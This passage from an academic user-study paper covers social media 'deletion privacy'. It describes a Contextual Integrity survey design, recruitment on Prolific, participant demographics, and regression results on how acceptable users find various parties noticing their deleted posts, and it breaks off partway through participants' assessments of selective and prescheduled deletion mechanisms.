Sender & Subjects In this set-up for each flow, the sender
is the user (who deleted), and the subject is who the deleted
post was about. We considered prior work on ego networks
and social circles to design four distinct subjects [18, 30]—
(i) the user, (ii) family members, (iii) friends, (iv) cowork-
ers/acquaintance. We also included “not specifying a subject”
as null i.e., control condition.

Recipients for social content deletion is the individual (or
organization) that notices the user’s deletion. We include
users’ social circles in our list of recipients along with two
other entities–a company that collects and archives users’
deletions and the government.

Transmission Principles are methods that a recipient
uses to discover the deletion. We considered three discovery
methods—(i) discovery by checking/observing the user pro-
file regularly to observe any user-profile change (ii) discovery
due to an interaction with the post (e.g., liking, comment-
ing, reposting, sharing, etc.), (iii) not specifying a discovery
method (null i.e., control condition).

Attributes, we consider the reason of the deletion to be
the attribute in the information flows. We adapt the categories
defined by Zhou et al. [61] for the regrettable deleted tweets
as attributes. We further add “fixing spelling/grammar” from
earlier work [14] as well as two other reasons—“post did
not get enough attention” and “being irrelevant due to time
passing” based on our study pilot. We obtained feedback
on acceptability for the information flows generated using
combination of all of these CI parameter values.

3 Methodology

In this section, we discuss the design of our study in detail.
We begin with our survey instrument that paves the path for
understanding the users’ experience with deletion events, un-
rolling the deletion privacy norms using Contextual Integrity
(CI), and evaluating the effectiveness of deletion mechanisms
in providing privacy to the deletions.

3.1 Survey Instrument

Our survey instrument was constructed of two parts. In the
first part, we asked questions about the users’ past experiences
of deletions on social platforms and later asked about their
deletion privacy preferences using CI. In the second part, we
probed the effectiveness and usefulness of different deletion
mechanisms in hiding the users’ unwanted content. Our full
survey instrument can be accessed in Appendix B of the full
version of this paper [39].

3.1.1 Part I: Perceptions of Content Deletion

Part I of our survey contained two sections: (1) Experiences
about prior post deletions, (2) CI-parameter based question-
naire about deletion privacy.
Experiences about prior post deletions (RQ1). We started
by asking the participants about their usage of different social
platforms and whether they have ever deleted any of their
content. We further asked how old the content was at the time
of deletion and the reasons behind their deletions. We then
inquired if the participants were aware of other users noticing
their deletions and whether they have noticed other users’
deletions. Lastly, we investigated how the users felt about the
sensitivity of deleted content by asking them whether they
agree or disagree with the statement—“when someone deletes
a social media post, it indicates that the content of that post is
sensitive/damaging/embarrassing to that individual.”
CI-based questionnaire: deletion privacy (RQ2). Taking
inspiration from earlier research [16, 17], we adapted a CI-
based questionnaire to investigate the users’ expectations of
deletion privacy in social platforms. We detail our adaptation
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of CI to the scope of deletion privacy in Section 2.3. Here, we
will focus on the setup of our survey.

We needed to obtain users’ perception of acceptability for
the information flows created by all combinations of the pa-
rameter values presented in Table 1. In total, we had 900
distinct information flows (5 subjects × 3 transmission prin-
ciples × 6 recipients × 10 attributes), and asking each partic-
ipant to evaluate all the flows was infeasible. Therefore, we
divided the flows into 30 blocks with 30 information flows
each, where every block was assigned to at least 6 participants.

To randomly assign participants to one of these blocks, each
participant was randomly assigned to a fixed value for the
subject and transmission principle variable. That participant
was also randomly assigned to one of the two pre-defined
sets of recipient variable values1 (each set contained three
recipient values).

As a result, in each block, we repeated the below matrix
question three times by replacing the recipient variable with
the values from the assigned recipient set, but keeping the
same subject and transmission principle values each time. The
rows of this matrix question represented the attribute variable
values (an attribute value represents the reason behind a dele-
tion). Therefore, each row of a question signified one of the
information flows, which the participants were asked to rate
its acceptability using a five-point Likert scale: Completely
Acceptable, Somewhat Acceptable, Neutral, Somewhat Unac-
ceptable, Completely Unacceptable.

“CI-Q: We are putting a few possible reasons behind post
deletions in the table below. Imagine a situation where you
deleted a post [subject] from one of your social media ac-
counts due to that reason. In each of these situations, please
indicate how acceptable is it for you that [recipient] notices
your deletion [transmission principle]?”

3.1.2 Part II: Efficacy of Deletion Mechanisms (RQ3)

In the second part of the survey, we captured the effectiveness
and usefulness of different deletion mechanisms from the
perspective of the users. We realized that this part involved
possible hypothetical scenarios, as some participants may
never have used some of the mechanisms. Thus, we took a
visual (video) driven approach to first educate the users on
these mechanisms and later ask about their efficacy. This ap-
proach is similar to those used in prior work on familiarizing
participants with novel authentication mechanisms [36].

To have a fair comparison between the different mecha-
nisms, prior to introducing the mechanisms, we needed to
present the threat model that we are considering protection
against. In this work, we adapted the same threat model con-
sidered in earlier works on deletion privacy [40, 41]. —In
this threat model, the adversary can observe the entire social

1First set of recipient variable values or recipient_A: [your family member,
your close friend, your coworker]. Second set of recipient variable values or
recipient_B:[anyone, a company, the government]

platform. Therefore, it can continuously access the platform
to take snapshots of the posts with the goal of identifying the
damaging/sensitive deleted posts to use against the users. The
adversary aims to find as many damaging/sensitive posts as
possible and does not perform targeted attacks on particular
users. We demonstrated this threat model using a short video
at the beginning of this section and asked the participants
whether they have encountered attacks from such a malicious
entity or how vulnerable do they find themselves against it.

3.1.3 Quality control

To ensure the quality of responses, we incorporated multi-
ple attention check questions in the survey. In particular, we
repeated two of the multiple-choice questions in random lo-
cations in the survey and compared the answers with their
previous responses. Moreover, we added a fake social plat-
form named “Cybersocial” in questions that asked about their
usage of social platforms to monitor whether they indicate us-
ing this platform or not. Further,we put two checks to ensure
that participants indeed viewed the videos (and gave qual-
ity responses)—(i) we noted the view count of our YouTube
videos periodically to ensure participant-viewing the videos
(the videos were unlisted, thus a small possibility of random
users viewing them) (ii) we reached out to participants whose
total completion time was less than or very close to the total
video-length and asked them to retake the survey. Some of
them directly mentioned quotes from the video to demonstrate
their understanding.

3.2 Pilot Studies

Prior to the survey’s deployment, we conducted two pilot stud-
ies to evaluate the study’s procedure, determine the average
duration, and test the comprehensibility of the questions.

In the first pilot, we tested the study on ten colleagues (with-
out prior knowledge of the study and its goals) from different
departments in our university. As a result, we removed four
questions from the survey as they were somewhat redundant
or too imprecise. Moreover, some of the questions’ choices
were modified to eliminate any invasiveness and confusion.

The major change was the reconstruction of the second part
of the survey (i.e., the mechanisms’ efficacy). Initially, we
provided text descriptions of the threat model and the dele-
tion mechanisms. However, the participants found the text
descriptions to be monotonous, long, and, more importantly,
hard to understand. As a result, we modified this part and cre-
ated video explanations of the deletion mechanisms (similar
to [36]). This allowed us to provide more information and
present the mechanisms via examples and animations.

After applying the changes above, in the second stage of
the pilot, we deployed the survey on the Prolific Academic [8]
and recruited ten participants. The results from the qualitative
responses showed that the first pilot’s changes were effective,
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and participants had a good understanding of the questions.
This point was also confirmed by the participant’s responses
to the following question at the end of the pilot survey: “Did
you find the questions in this survey to be understandable?”.
Eight of the participants responded with “completely under-
standable” and “mostly understandable.” The remaining two
responded with “neutral” and “mostly not understandable”;
however, without any feedback on which sections they had
difficulty in understanding.

3.3 Recruitment

We recruited our participants from Prolific Academic, a plat-
form regularly used for advertising academic surveys [47].
We chose participants both from the US and Europe2. We
screened participants to ensure they were 18 years old or
above, had not taken our pilot study, had taken a minimum
of 50 prior surveys on the platform, had a minimum approval
rate of 95%, fluency in English, and having a social media
account currently or in the past.

While designing our survey instrument, we aimed to min-
imize bias (i.e., leading or priming) and ambiguity. We did
not screen our participants based on deletion behavior and
designed our recruitment text and strategy accordingly (pre-
sented in Appendix A of the full version [39]) We carefully
avoided priming participants by not using words like “secu-
rity” or “privacy” in our study. In the recruitment text, we
used the keyword “deletion” only for describing a sub-part
of the survey rather than a requirement. In fact, our reported
percentages of participants who deleted posts are similar to
the previous studies [42, 54].

The survey was advertised as “A study about social media
usage and post deletions” and deployed in same sized batches
(i.e., 20 participants at a time) over a one-week period, at dif-
ferent times of the day. We did this to counter anomalous time
dependency in our results due to the effect of events happen-
ing at a specific time [12]. The average time of completion for
each part of the survey was 12.5 minutes, and compensation
was $1.5 for each part (participants that completed both parts
were compensated $3). To gain some confidence in a fair pay-
ment, during our pilot study, we asked the participants—“How
fair do you find the compensation of the survey, compared to
the amount of time you took for completion?”. 90% of the
participants responded with “very fair” and “fair”. Further-
more, the median completion time was 22 minutes, resulting
in compensation of $8/hr, comparable to similar studies [59].

In total, we obtained 205 responses (103 from the US and
102 from Europe) for part I and 144 responses (93 from the
US and 51 from Europe) for part II.

2Over 90% of the participants in Prolific (as well as 80% of participants
in Amazon Mechanical Turk, AMT [15], another well known crowd-sourcing
platform) are from the US and Europe [27, 31, 48].
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Figure 1: The usage pattern (in percentage) of different social
platforms by the participants.

3.4 Participant Demographics
A total of 205 and 144 participants completed parts I and II,
respectively. We discarded the responses that did not pass
the validity checks (see Section 3.1.3) and were left with 191
(93 from the US and 98 from Europe) and 135 (85 from the
US and 50 from Europe) participants for parts I and II. Our
European participants were from 13 different countries where,
57% were from UK, 13% from Portugal, 11% from Poland,
and the remaining 19% were from Hungry, Spain, Greece,
Germany, Czech Republic, Netherlands, Sweden, Switzerland,
Ireland, and Finland.

Our population sample was nearly gender-balanced; 50.8%
identified as female, 47.6% as male, and 1.1% as others. The
sample skewed young, with 26.7% between 18 and 24, 39.3%
between 25 and 34, 20.4% between 35 and 44, and 13.6% age
45 or older. Our participants were slightly more educated than
the general U.S. population [4], where 55% of the participants
either had a bachelor or a graduate degree. The participants’
median annual household income was reported as $40,000
- $59,999, where the majority had an income of $20,000 -
$39,999 (23%). Even though participants in crowdsourcing
platforms (e.g., Amazon Mechanical Turk and Prolific) are
considered to be tech-savvy [32], 67% of our participants
reported that they do not have any background (e.g., study,
work, etc.) experience in the IT field. We present the detailed
demographics of our population in Table 2.

Further, our participants are active users of popular social
media platforms. 74.9% of the participants reported using at
least one social platform daily, and 91.1% use a platform at
least once a week, showing the participants’ suitability for this
study. Facebook, Youtube, Instagram, WhatsApp, and Twitter
were the most used platforms. The usage pattern of different
social platforms by the participants is shown in Figure 1.

3.5 Analysis Method

Coding Free Text Answers. We coded free text answers
obtained from our survey to uncover users’ perceptions. In
our analysis, two researchers independently coded free text re-
sponses using a shared codebook. Across questions, Cohen’s
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Table 2: Participants’ Demographics

US # (%) Europe # (%)

Gender
Female 48 (52%) 49 (50%)
Male 42 (46%) 49 (50%)
Other 2 (2%) —

Age
18 - 24 29 (31%) 22 (22%)
25 - 34 36 (39%) 39 (40%)
35 - 44 18 (19%) 21 (21%)
45 - 54 4 (4%) 12 (12%)
55 - 64 4 (4%) 3 (3%)
65 - 74 1 (1%) 1 (1%)

Education
Bachelor degree 35 (38%) 34 (35%)
Some college—no degree 20 (22%) 22 (22%)
Graduate degree 15 (16%) 20 (20%)
High school degree 11 (12%) 15 (15%)
Associate degree 10 (11%) 4 (4%)
Less than high school 1 (1%) 2 (2%)
Prefer not to answer — 1 (1%)

Marital Status
Single, never married 55 (60%) 49 (50%)
Married/domestic partner 31 (34%) 44 (45%)
Divorced 4 (4%) 4 (4%)
Separated 2 (2%) —
Prefer not to answer — 1 (1%)

Income
$0 - $19,999 9 (10%) 22 (22%)
$20,000 - $39,999 18 (20%) 26 (26%)
$40,000 - $59,999 14 (15%) 16 (16%)
$60,000 - $79,999 15 (16%) 13 (13%)
$80,000 - $99,999 9 (10%) 7 (7%)
$100,000 or more 23 (25%) 5 (5%)
Prefer not to answer 4 (4%) 9 (9%)

Background in IT
Yes 29 (32%) 31 (31%)
No 62 (67%) 66 (67%)
Prefer not to answer 1 (1%) 1 (1%)

κ (inter-rater agreement [35]) ranged from 0.7 to 1, indicating
substantial to perfect agreement. The coders met to resolve
disagreements and choose a final code.
Statistical Analysis. We leveraged statistical hypothesis test-
ing to investigate significant deletion privacy norms. Specifi-
cally, for such analysis, we converted five-point Likert scales
to the ordinal variable as follows: Completely Acceptable (2),
Somewhat Acceptable (1), Neutral (0), Somewhat Unaccept-
able (-1), Completely Unacceptable (-2). Unless otherwise
stated, we used the nonparametric Mann Whitney U test to
compare the responses across different groups. For all tests,
the level of significance (α) was 0.05 and further adjusted
using Bonferroni multiple-testing correction.

3.6 Ethical Considerations
To adhere to the principles of ethical research we took the
following steps. In the recruitment process, each participant
was informed of the study’s purpose, that they can withdraw
at any time without giving any reasons, and that we would
not store any personally identifying information.We also in-
formed the participants about the study’s estimated duration
and their compensation in our consent form. Respondents

who did not consent were not allowed to proceed with the
study. Our study protocol was examined and approved by the
lead author’s Institutional Review Board (IRB).

3.7 Limitations

We did our best effort to plan and conduct the survey thor-
oughly; However, like all prior user studies, our results should
be interpreted in context of its limitations.

We used the Prolific Academic to recruit our participants,
and obtained 191 participants which is in line with earlier
applications of CI [17]. Our recruiting approach might have
resulted in a younger and more tech-savvy sample which
is not necessarily representative of the population. However,
earlier work found that crowdsourcing for security and privacy
survey results can be more representative of the US population
than census-representative panels [49]. Further, responses
from Prolific participants creates higher quality data than
comparable platforms [47].

As our survey and videos were in English, we required the
participants to be fluent in English, which could have resulted
in a language and consequently a cultural bias. However,
our study sheds light on user perceptions about an under-
studied privacy violation and we identified significant user
concerns even within our sample. Thus, we strongly believe
our study is useful to establish the importance of the problem
and uncover normative rules governing deletion privacy. An
in-depth understanding of the language or culture-specific
variations of deletion privacy using participants from multiple
languages/cultures is an intriguing future work for privacy
researchers and complementary to this study.

Our survey videos were narrated by a non-native English-
speaking researcher, which may have caused some issues
with the accent and pronunciations. We made the best effort
possible by recording multiple times and narrating according
to a script. Further, the videos have been uploaded to Youtube,
where the participants could have used the subtitles if needed.

The survey was conducted in two parts (see Section 3.1),
with an average completion time of 25 minutes. The pilot
study participants did not indicate any issue (due to partic-
ipant fatigue) with the length of the survey (we added an
explicit question in pilots). Still, to account for unforeseen
participant fatigue, we made all the explanation questions (i.e.,
free text form questions) optional and only required the partic-
ipants to respond to the multiple-choice and matrix questions
(except for the usefulness question of the deletion mecha-
nisms). In case the participant chose not to answer optional
questions, the average completion time would have been less
than 15 minutes. Furthermore, in the second part of the sur-
vey, we primarily leveraged videos (with subtitles) to explain
the survey context and reduce the participant fatigue due to
comprehending long descriptive text.

Part of this study aims to unpack the users’ experiences
with deletion events, which directed us to gather self-reported
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data from the participants. Therefore, the effect of the after-
the-fact of the responses may have resulted in approximate
answers to our questions. Nevertheless, our results are in line
with the prior studies.

4 Results

This section presents our findings on deletion privacy explo-
ration. We begin with the users’ past deletion experiences.

4.1 Users’ Deletion Experiences-RQ1
4.1.1 Many users delete their outdated posts

Among the 191 participants, a significant majority of 82%
reported that they had deleted a post(s) in the past. 78% report
that they have deleted a post(s) from Facebook, 46% from
Instagram, and 34% from Twitter. These numbers match with
earlier work on social content deletion [42, 54].

We further asked the participants who have deleted posts
in the past, to indicate how frequently they have deleted (all)
their posts in different periods after publication (i.e., the per-
centages of deletions made in different periods). The fre-
quency results are shown in Figure 2.

We see that 24% of the deletions are within less than two
minutes from their publishing time (similar to [13], that re-
ports 22% of deletions happening within a minute of appear-
ing in Twitter), perhaps hinting at a spelling or grammar issue.

The “2 minute - 1 hour”, “1 - 24 hours”, and “1 - 7 days” pe-
riods have similar frequency percentages (11-16%). These are
periods where possible feedbacks are given by the users’ fam-
ily/close friend group (that closely follow the user’s activities),
coworkers/social friends (that check on their acquaintance’s
activities daily), and a much larger audience when posts go
viral after a couple of days.

Interestingly, the largest category belongs to the deletions
“after a week” with more than one third (35%) of all the dele-
tions (similar to [42], where they report that one-third of all
posts are deleted after six years of their publication). This
indicates that old posts on social platforms are not necessarily
ignored, and users actively care about them and remove the
unwanted ones.

0 10 20 30 40 50 60 70 80 90 100

> week

1-7days

1-24hr

2min-1hr

< 2min

Figure 2: Boxplot of self-reported % of deleted content, re-
moved at different time periods after publishing the post. Dia-
monds indicate the average percentage for each period.

4.1.2 Users delete their posts for non-obvious reasons

We observed that over 80% of the participants had deleted
at least one of their posts within the social platforms. The
next question that comes to mind is what are the reasons
behind users’ deletions. We asked the 156 participants (that
reported a deletion) about their reasonings. Nine different
reasons (shown in Table 3) were presented to them (taken
from prior works [13, 61] and pilot studies) and further given
an “other” option that they could have provided additional
reasons in a free text box. After categorizing the responses,
we added four other reasons (i.e., “removing due to contro-
versy/harassment,” “removing embarrassing content,” “per-
sonal,” and “other”) to the list.

The participants reported that the main reason for deleting
their posts was that they became irrelevant as time passed
(64% of the users). This reason highlights the fact that 35% of
deletions occurred after a week. About half of the participants
indicated that they had removed a post due to the obvious
reason of fixing spelling/grammar and factual checking. This
reason is in line with the 24% of deletions happening within
a short time of publishing (less than 2 minutes).

In Table 3, we see that a significant number of the par-
ticipants have reported sensitive topics (drug, alcohol, race,
politics, carnal, violence, etc.) as the reason for their dele-
tion(s). Moreover, 23 of the participants (15%) self-reported
that they have deleted their posts to remove contents that were
embarrassing or caused some controversy and harassment.

4.1.3 Do the content of the deleted posts contain sensi-
tive or damaging information?

We observed that users delete their posts for many reasons, and
some can be considered sensitive to some people. Therefore,
in the next question, we asked whether they agree or disagree
with the following statement—“when someone deletes a so-
cial media post, it indicates that the content of that post is
sensitive/damaging/embarrassing to that individual.” Further,
they were asked to provide an example in support of their
answer.

Table 3: Reasons for post deletions

Reasons # (%)
Being irrelevant due to time passing 100 (64%)
Fixing Spelling/Grammar/FactCheck 77 (49%)
Post did not get enough attention 46 (29%)
Cleaning up my profile for new relationship 36 (23%)
Cleaning up my profile for new job 36 (23%)
Removing drug/alcohol/sexual related content 18 (12%)
Removing Racial/Religious/Political content 15 (10%)
Removing due to controversy/harassment 13 (8%)
Removing violence/cursing related content 11 (7%)
Removing embarrassing content 10 (6%)
Removing health related content 8 (5%)
Personal reason 7 (4%)
Other 6 (4%)
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More than half of the participants (i.e., 51%), to some de-
gree, agreed with the statement (i.e., strongly agreed or some-
what agreed). Among these participants, 74% gave examples
and details about a situation that their deleted post contained
some embarrassing, inappropriate, or emotional content. For
example, participant P29 wrote: “Someone would probably
delete posts that would be embarrassing or legally damaging
for the public to know about”.

Conversely, 25% disagreed (i.e., strongly disagreed or
somewhat disagreed) with the statement, and 60% of them
gave examples about removing irrelevant content or fixing
grammatical mistakes that contain no sensitive or damaging
information. E.g., participant P61 wrote: “I’ve posted things
that looking back an hour later I just think are dumb, nothing
embarrassing or offensive”.

The remaining 24% of the participants neither agreed nor
disagreed. They indicated that it is dependent on the con-
text of the posts and can be considered either damaging or
non-damaging. Therefore, they chose to be neutral about the
statement. E.g., participant P3 wrote: ‘Those could be the rea-
sons why, but they could also just think it’s irrelevant/outdated,
stupid, not worth having up, or factually wrong.’.

As we can see, users have different perspectives about the
content of their deleted posts, but almost half of them consider
the content to contain some damaging/sensitive information.
Therefore, it is important that this information remains hidden
and not be exposed to the public by some malicious entity
that seeks the damaging deletions of the users.

4.1.4 Who notices the users’ deletions?

Previously we saw that 82% of the participants reported that
they had deleted their posts in the past. To see if anyone has
noticed these deletions, we asked those participants—“have
you ever become aware of someone noticing that you have
deleted one of your posts?” The question was followed by
asking them to identify social group(s) who noticed their
deletion(s). The social groups were family members, friends,
coworkers, and strangers—with varying closeness to the user.

Fifty-four participants (i.e., 35%) self-reported that they
are aware of situations where someone noticed their deletions.
The majority (50 out of 54, i.e., 93%) of the participants’
deletions were noticed by their friends’ group. In second place
with 41%, (of 54 participants) family members were the ones
that noticed the participants’ deletions. Not surprisingly, only
a small number of cases (9%) were noticed by the strangers.

We repeated the two questions by changing the roles. We
asked the participants whether they had noticed anyone delet-
ing their posts and who they were? Among 191 participants,
68% (130) reported that they have noticed at least one other
user’s deletion(s). Among the social groups that the partici-
pants noticed their deletions, the friend group stood out with
highest percetage of 70%. The second highest-ranked group
was the “stranger” group (42% of participants noticed dele-

Table 4: Regression model results for the CI parameters and
demographics. In the table we only show the variables that
have significant difference with the baseline variable values.

Variable Coefficient 2.5% 97.5% p-value
Baseline:
Subject=null, Recipient=family, Transmission=null, Attribute=irrelevancy
Subject = self -0.306 -0.411 -0.202 <0.001***
Recipient = coworkers -0.363 -0.478 -0.248 <0.001***
Recipient = company -0.737 -0.851 -0.624 <0.001***
Recipient = government -1.132 -1.245 -1.018 <0.001***
Transmission = interacted 0.313 0.232 0.394 <0.001***
Transmission = observing 0.0981 0.016 0.18 0.019*
Attribute = not enough attention -0.449 -0.597 -0.302 <0.001***
Attribute = spelling/grammar 0.2902 0.143 0.437 <0.001***

Baseline:
Gender=Male, Age=35+, Education=university,
Income=<$70K, Marital=single/relation
Gender = Female -0.0418 -0.112 0.029 0.246
Age = 18-35 0.0677 -0.007 0.142 0.075
Education = university degree -0.0201 -0.092 0.051 0.582
Income = more than $70K -0.1419 -0.216 -0.068 <0.001***
Marital = separated/divorced -0.3609 -0.519 -0.203 <0.001***

Significance codes: ***p< 0.001, **p<0.01, *p < 0.05

tions from strangers); only 17% reported noticing their fam-
ily members’ deletions. Thus, a significant fraction of our
participants notice strangers’ post deletions, suggesting the
possibility of deletion privacy violation for those post deleters.

We note that in our study, we did not specifically ask the
users to name the individuals that they have noticed their
deletions for various privacy reasons. Therefore, we do not
rule out the possibility that the users may have notice deletions
from high profile users such as celebrities and politicians and
as a result, reporting higher percentages in the stranger group.

4.2 Contextual Norms of Deletion Privacy-RQ2
Next, we analyze the contextual norms of deletion privacy
using data collected from the CI-driven questions. The out-
come (dependent) variable for CI questions was the users’
acceptability score for each information flow, ranging from
-2 (completely unacceptable) to 2 (completely acceptable) as
explained in Section 3.5. We used a multivariate regression
model to compare and discuss the different CI parameter val-
ues and significance to the acceptability score (dependent
variable). Table 4 presents the highlighted model results.

4.2.1 Deleted posts that are about the users themselves
need more protection

One of the CI parameters that we explored in this study is
the “subject” of the deleted posts. The only “subject” that
has a significant difference (p < 0.001) with the baseline null
subject (i.e., not specifying any particular subject) is the ”user
itself.” We further see this point in the average score of the
flows. On average, the flows with “user itself” as the subject
had a 0.35 Likert-scale point less acceptability. This point
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shows that users are more concerned about the deleted posts
with themselves as subject than anyone else.

4.2.2 Users seek deletion privacy against large-scale
data collectors

We found a statistically significant difference for the recipients
of the deletion events when the users’ deletions are noticed by
their outer social circles such as the government, a company,
or even their coworkers compared to their friends and family
members (Table 4). The average acceptability score of infor-
mation flows that have “the government” as their recipient
is mostly negative, indicating that most of the participants
consider these flows as “completely unacceptable” or “some-
what unacceptable.” Although less severe, the same is true
for “a company” as the recipient. We observe in Table 4 that
the coefficients of these two cases have the highest negative
magnitude (p < 0.001). Further, we observe that in the case
of “coworkers,” there is also a significant difference with the
baseline “family,” but its coefficient magnitude is smaller and
affects the model outcome less significantly.

The average scores of flows with the recipient “family,”
“friends,”, and “coworkers” are all positive and mostly above
one (except “coworkers,” which is between zero to one). On
average, flows with large-scale data collectors as the recipient
(a company or the government) are 0.94 Likert-scale points
less acceptable than their other recipient counterparts.This
result provides quantitative evidence that social platform users
are indeed concerned about their deletions being noticed by
third-party services and state agencies; Therefore, there is a
need for the social platforms to proactively create different
deletion privacy policies for different classes of recipients.

4.2.3 Not knowing how deletions were noticed is less ac-
ceptable to the users

In Table 4, we see that both of the transmission principles
that we considered in our study are significantly different (p
< 0.05) that the baseline null transmission (i.e., not specifying
any discovery method to the participants). On average, the
score of the flows with the null transmission principle is 0.23
Likert-scale points smaller (less acceptable) than the non-null
transmission principles. This is consistent with the human de-
sire for cognitive closure [34] that not knowing how deletions
were noticed is less acceptable.

4.2.4 Users want to hide their non-popular posts more
than any other post

In this study, the attribute parameter of the CI flows corre-
sponds to the reasons for removing a post. We identified ten
different reasons for the deletions shown in Table 1 (bottom
portion). The baseline attribute considered in the regression
model was “Being irrelevant due to time passing,” as it has
been identified as the most common reason for the users

to delete their posts (see Section 4.1.2). The two attributes
that were significantly different (p < 0.001) were “Fixing
Spelling/Grammar” and “Post did not get enough attention”
(Table 4). These two deletion reasons are at the opposite ends
of the acceptability scores. Flows with the attribute “Fixing
Spelling/Grammar” have the highest average acceptability
score (0.98 on the Likert-scale points), and the flows with the
attribute “Post did not get enough attention” have the lowest
(0.24 on the Likert-scale points).

We further analyzed the low-scored flows by checking the
correlation between the scores given by users who had self-
reported deleting content for that reason. Interestingly, for
“Post did not get enough attention,” the negative scores pri-
marily came from people who did not delete content because
of that reason. This finding hints that our participants might
have perceived digging up forgotten posts by virtue of dele-
tion as a violation of deletion privacy. In other words, the
platforms should consider providing stronger deletion privacy
to non-popular posts than popular posts.

4.2.5 Effect of demographics on deletion privacy

We examined the influence of common demographics (i.e.,
gender, age, education, income, and marital status). We
present the effects and significance for each of the categories
in Table 4. We observed no significant difference between the
male and female participants, their age, and their education
levels. In the following, we discuss the details for the other
demographic categories.

Higher-income users are more concerned about their
deletions, but no difference for different education levels.
We asked about the users’ household income in intervals of
$10,000. To have a meaningful analysis, we considered the
US median household income of $68,703 [51], and as a result,
set our splitting point at $70,000. We see a significant differ-
ence between the two groups (p <0.001), where users with
higher incomes are more worried about their deleted posts
with lower average scores.

We further divided the users based on their education de-
gree, where one group had obtained a university degree (i.e.,
associate, undergraduate, and graduate degrees) and another
which did not. However, we saw that there is no significant
difference between the two groups.

Individuals that have ended their relationship in the past
are more conservative. We found that, on average, indi-
viduals that had identified their marital status as divorced or
separated had a lower acceptability score (average of 0.22
Likert-scale points) compared to the individuals that iden-
tified themselves as single, never married, or in a current
relationship (average of 0.62 Likert-scale points).
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4.2.6 Differences between the US and Europe

We note that there is a great diversity of privacy expectations
across geopolitical boundaries, and considering entire Eu-
rope as a monolith may not capture all the details. However,
we strongly feel that tackling finer-grained group-specific
(for multiple demographic/societal groups) norms of dele-
tion privacy is a great future direction that is out of scope
for this study. Nevertheless, in what follows, we present the
differences observed in the results of the CI-driven questions
between the participants from the US and Europe.
Coworkers are considered a closer social group in the US.
We applied a statistical test between the flows of the recip-
ients “coworker” and “family” for the US participants and
saw no significant difference. However, considering the same
condition, there is a significant difference for the European
participants (p < 0.001).

The opposite is true when comparing the distribution of the
flows where the recipients are “coworker” and “a company.”
In this case, there is no difference between the distributions
in Europe, but one exists for the US (p < 0.001). We conclude
that individuals consider their coworkers to be in a closer
social group in the US compared to European individuals.
Stalking is more of a concern in Europe. Earlier, we saw
that users are much more comfortable knowing what trans-
mission principle (method of noticing the deletion) is used
to notice their deletions. However, we observe a difference
between the acceptability of the US users and European users
when looking at the transmission principle “checking and
observing the user profile regularly” (in other words stalk-
ing). We compared the scores that participants in the US and
Europe gave to the two defined transmissions separately. We
observe no significant difference between the two transmis-
sion principles for the US participants. However, there is a
significant difference between checking/observing the users’
profiles regularly (stalking) and interacting with the post in
Europe (p < 0.001). Thus stalking is seen as a less acceptable
mean of noticing deletions compared to noticing due to a prior
interaction with a difference of 0.4 Likert-scale points.
Demographics affect differences. Previously, overall we
did not observe significant difference between scores of fe-
male and male participants. However, when we separate the
US and Europe participants, we observe that in Europe gender
is correlated with acceptability scores (p < 0.01). European fe-
male participants are more conservative about their deletions,
and on average, have 0.2 lower Likert-scale point score.

We see a similar trend for the older participants in Europe,
where they are more concerned about their posts being no-
ticed by others. We observe a significant difference between
the average scores of participants that identified themselves
between the age of 18-34 to all other older participants. In
fact, the younger generation (millennials and generation Z)
has a higher acceptability score with an average of 0.65 Likert-
scale points compared to all other participants (average score

0.46). This finding is supported by earlier research on the
data-sharing behavior of teens [37].

4.3 Evaluating Deletion Mechanisms-RQ3
So far, we have established the need for deletion privacy and
uncovered its norms on social platforms. In this section, we
will compare the utility of different deletion mechanisms
for enhancing deletion privacy in the presence of a large-
scale adversary. We begin by investigating if the participants
have ever experienced a negative scenario with the explained
adversary in Section 3.1.2.

4.3.1 Some users have been attacked

As detailed in Section 3.1, part II of the survey began
by explaining the malicious entity (see Section 3.1.2)
considered in this work, followed by asking the partici-
pants whether they have had any negative experience (is-
sues/problems/discomforts) facing such a malicious entity
in any of their social platforms? If they gave a negative re-
sponse, we asked them to rate the likelihood of this scenario
happening to them. On the other hand, if they indicated that
this attack has happened to them, we requested an optional
brief explanation of the negative experience. 95% of the par-
ticipants responded with “No”; However, 35% (of this 95%)
think that this scenario is likely to happen to them. 34% re-
sponded that they do not think it is a likely scenario, and the
remaining 31% were unsure.

Unfortunately, many of the 5% of participants who had
negative experiences did not provide details to the incident
to extract meaningful patterns (likely because providing free-
form explanatory responses was not forced). However, out
of the responses we received, Participant P70 wrote—“I saw
one of my deleted photos on a Pinterest account that was not
mine. It seemed like it was some kind of ad for earrings but
it made me a little uncomfortable.” Further, Participant P36
wrote about an experience that one of his/her friends had in
encountering such an attacker —“... such malicious entities
surely exist. My friend was contacted by one and threatened
that the malicious entity would send pictures to his mother”.

4.3.2 Selective deletion mechanism used by many social
platforms is ineffective in hiding the deletions

In this section we will focus on the two most popular deployed
deletion mechanisms today (explained in Section 2.2): Selec-
tive Deletion and Prescheduled Deletion. We have also con-
sidered two other new proposed deletion mechanisms, namely
Intermittent Withdrawal [40] and Decoy Deletion [41], but
have shifted the analysis for them to Appendix A.

For each of these mechanisms a short video was shown
to explain the mechanism and its characteristics. Next, we
asked—“In your opinion, how effective is [Deletion Mecha-
nism] in hiding your damaging/sensitive posts in the presence
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Figure 3: Effectiveness of deletion mechanisms in hiding the
damaging/sensitive content of the users.

of a malicious entity who collects all deleted posts from a
large number of users?” We used a Likert scale for the re-
sponses: Not Effective at all (0), Slightly Effective (1), Mod-
erately Effective (2), Very Effective (3), Extremely Effective
(4). The results are depicted in Figure 3.

We observe that more than half of the participants indi-
cated that Selective deletion is not effective at all for hiding
the damaging deletions. On the other hand, for Prescheduled
deletion, only 9% of the participants found it to be ineffec-
tive, but the remaining 91% think it is somewhat effective.
Further, we statistically compared the effectiveness of the
two different deletion mechanisms by applying the Wilcoxon
signed-rank test to find the likelihood that these two groups of
scores come from the same distribution. The results show that
“Selective deletion” (i.e., used by many social platforms today)
has a significantly different distribution from the Presched-
uled mechanisms with a mean of 0.77 Likert-scale points
compared to 2.01.

4.3.3 Characteristics of the mechanisms useful to users

In addition to the effectiveness question, in the form of a free-
text box, we asked the participant to describe cases where
they find the mechanisms useful and/or NOT useful to them.
Selective Deletion [42]. As we observed previously, “Selec-
tive Deletion” was voted the least effective deletion mecha-
nism in protecting the damaging deletions of the users. This
point was also highlighted in the usefulness question, where
95 (70%) participants pointed out that this mechanism does
not maintain deletion privacy. However, we see that it holds a
unique characteristic that users admire. Giving the users full
control of their posts and profile seems to be an advantage of
this mechanism (28 participants mentioned this point). Partic-
